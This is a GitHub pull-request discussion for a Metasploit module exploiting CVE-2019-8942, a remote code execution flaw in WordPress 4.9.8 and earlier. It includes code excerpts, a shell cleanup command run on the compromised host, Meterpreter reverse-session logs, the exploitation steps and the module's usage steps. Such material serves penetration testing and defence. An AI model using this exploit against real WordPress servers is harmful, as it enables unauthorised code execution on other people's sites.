-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Wordpress cve 2019 8942 #11587
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Wordpress cve 2019 8942 #11587
Conversation
|
I was in the process of creating a module for this particular exploit, but it looks like you beat me to posting the PR! I'd be happy to collaborate if you're interested. |
Co-Authored-By: tiyeuse <39072217+tiyeuse@users.noreply.github.com>
|
Hello, Thank you. |
| end | ||
|
|
||
| def get_wpnonce2(image_id, cookie) | ||
| uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php?post='+image_id.to_s+'&action=edit') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Using vars_get is preferred over appending the query string to the URL.
|
|
||
| def on_new_session(client) | ||
| #sleep 1 | ||
| client.shell_command_token("rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You should be able to use register_file_for_cleanup rather than manually adding these in on_new_session.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I used client.shell_command_token in order to use wilcard. When uploading a files multiples file will be created (also a directory) :
image-100x100.jpg
image-150x150.jpg
image-300x225.jpg
image.jpg
By using register_file_for_cleanup I will still need to add some file names ?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
register_file_for_cleanup accepts an argument. There's also register_dir_for_cleanup.
Neither function supports wildcards.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
When I use register_file_for_cleanup I got some warnings. unknown result for deleted files and manual cleanup for files not deleted.
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:56928) at 2019-03-20 14:22:48 -0400
[!] Tried to delete wp-content/uploads/2019/03/dNSkecRDzC.jpg, unknown result
[!] Tried to delete wp-content/uploads/2019/03/dNSkecRDzC-100x100.jpg, unknown result
[!] Tried to delete wp-content/uploads/2019/03/dNSkecRDzC-150x150.jpg, unknown result
[!] Tried to delete wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790.jpg, unknown result
[!] Tried to delete wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790-100x100.jpg, unknown result
[!] Tried to delete wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790-150x150.jpg, unknown result
[!] Tried to delete wp-content/themes/twentyseventeen/cropped-kDlSwlVzGt.jpg, unknown result
[!] This exploit may require manual cleanup of 'wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790.jpg?/x.jpg' on the target
[!] This exploit may require manual cleanup of 'INXWxbyvtI.php' on the target
[!] This exploit may require manual cleanup of 'wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790.jpg?' on the target
meterpreter > ls INXWxbyvtI.php
0000/--------- 0 fif 1969-12-31 19:18:30 -0500 INXWxbyvtI.php
meterpreter > pwd
/var/www/html
meterpreter > ls wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790.jpg?
0000/--------- 0 fif 1969-12-31 20:08:16 -0500 wp-content/uploads/2019/03/dNSkecRDzC-e1553106167790.jpg?
Is this supposed to be the normal behavior for unknown result ? I guess because of the ? meterpreter can't delete the file. For the payload on the root ( /var/www/html) I don't know.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🤷 did it delete the files tho ?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
unknown result for deleted files and manual cleanup for files not deleted as mentioned earlier 😃
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yeah the ? might be causing issues. Not sure how that would be handled on Windows systems either.
Is WordPress performing conversion of the image data rather than using the raw image data? Perhaps the image data contains Perhaps opening the file with mode |
|
It doesn't come from WordPress, even before the upload request the data is already modified with both methods : or At this point |
No, but based on your description of the Here's an example: #
# Upload a file to a specified path
#
def upload(path, data)
vprint_status("Writing #{data.length} bytes to #{path}")
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"ReplySuccessPage\"\r\n"
post_data << "\r\nreplyuf.htm\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"ReplyErrorPage\"\r\n"
post_data << "\r\nreplyuf.htm\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n"
post_data << "\r\n#{path}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"UploadFile\"; filename=\"#{rand_text_alphanumeric(rand(8) + 5)}\"\r\n"
post_data << "Content-Type: application/octet-stream\r\n"
post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"ConfigUploadFile\"\r\n"
post_data << "\r\nUpload File\r\n"
post_data << "--#{boundary}\r\n"
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('setFileUpload'),
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data)
end |
|
Thank you for this upload solution, it worked as intended and allow me to simplify the exploit. |
|
It's minor, but I think this module should be located in Also, please add documentation when you get the chance. Here's a template to get you started: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md Thanks! |
The documentation (minus the comments section) in my first post isn't good ? |
I think the documentation in your post is great, and the majority of it can be used in your documentation. I would also add that |
|
I successfully got a number of meterpreter sessions, but I also received this error a couple of times: The calls to Aside from that, the module has worked great for me so far. Thanks for adding the documentation! |
|
I opened a PR that just added a few checks to the calls to |
Add checks to scan function and fix some spacing
Thank you ! |
|
Thank you! Do you have sources for where the jpegs used in the module came from? If not, it might be better to use a generated image so there aren't any potential issues with its use. Aside from that, I have no further suggestions. Thank you! |
FWIW; you can find an example 1x1 JPG image in the elfinder_php_connector_exiftran_cmd_injection module: # Small JPEG file from:
# https://github.com/mathiasbynens/small/blob/master/jpeg.jpg
jpeg = %w[
FF D8 FF DB 00 43 00 03 02 02 02 02 02 03 02 02
02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05
06 09 08 0A 0A 09 08 09 09 0A 0C 0F 0C 0A 0B 0E
0B 09 09 0D 11 0D 0E 0F 10 10 11 10 0A 0C 12 13
12 10 13 0F 10 10 10 FF C9 00 0B 08 00 01 00 01
01 01 11 00 FF CC 00 06 00 10 10 05 FF DA 00 08
01 01 00 00 3F 00 D2 CF 20 FF D9
]
jpeg = [jpeg.join].pack('H*') |
Actually |
Okay, we can get rid of
If there's a preference for either approach, please let me know. I can get this handled and landed if there are no more suggested changes. |
@bcoles suggestion may work, but the |
Is the contents of the image file important, or does it simply have to be a valid |
The content is not important, you simply need one payload in exif metadatas for |
|
Tested on Wordpress 4.9.8: |
Release NotesThe WordPress Crop-image Shell Upload module leverages both a local file inclusion and directory traversal vulnerability in Wordpress |
|
Hey @jbelamor, could you please open an issue for this? I'll try setting up an environment with that specific version. Thank you! |
|
I installed Wordress The |
|
Hey @jbelamor I'm not sure but I guess this vulnerability is on WordPress version |
Yes, I got the same problem. I recon that if the discussed vulnerability is also present in this version (as @tiyeuse says) might by exploited with some fixes in the code. |

On WordPress versions <= 4.9.8 it is possible to gain arbitrary code execution via a core vulnerability combining a Path Traversal and a Local File Inclusion.
An attacker who gains access to an account with at least author privileges on the target can execute PHP code on the remote server.
Exploitation Steps
_wp_attached_fileentry frommeta_input$_POST array to specify an arbitrary pathcrop-imageWordpress function_wp_page_templatevalue to the cropped image. The post willinclude()our image containing PHP code.When visiting the post created by the attacker it is possible to obtain code execudion
More details can be found on RIPS Technology Blog
Verification Steps
Confirm that functionality works:
msfconsoleuse exploit/unix/webapp/wp_crop_rceRHOSTUSERNAMEandPASSWORDLHOSTandLPORTrunScenarios
Ubuntu 18.04 running WordPress 4.9.8
Comments
During the upload process the function
upload_file()change the display of image uploaded resulting into an issue during the upload process for GD library.The image content (binary) during the upload seems changed. You can find some comments in the code line 127. It might come from my way to upload because my python POC is working fine.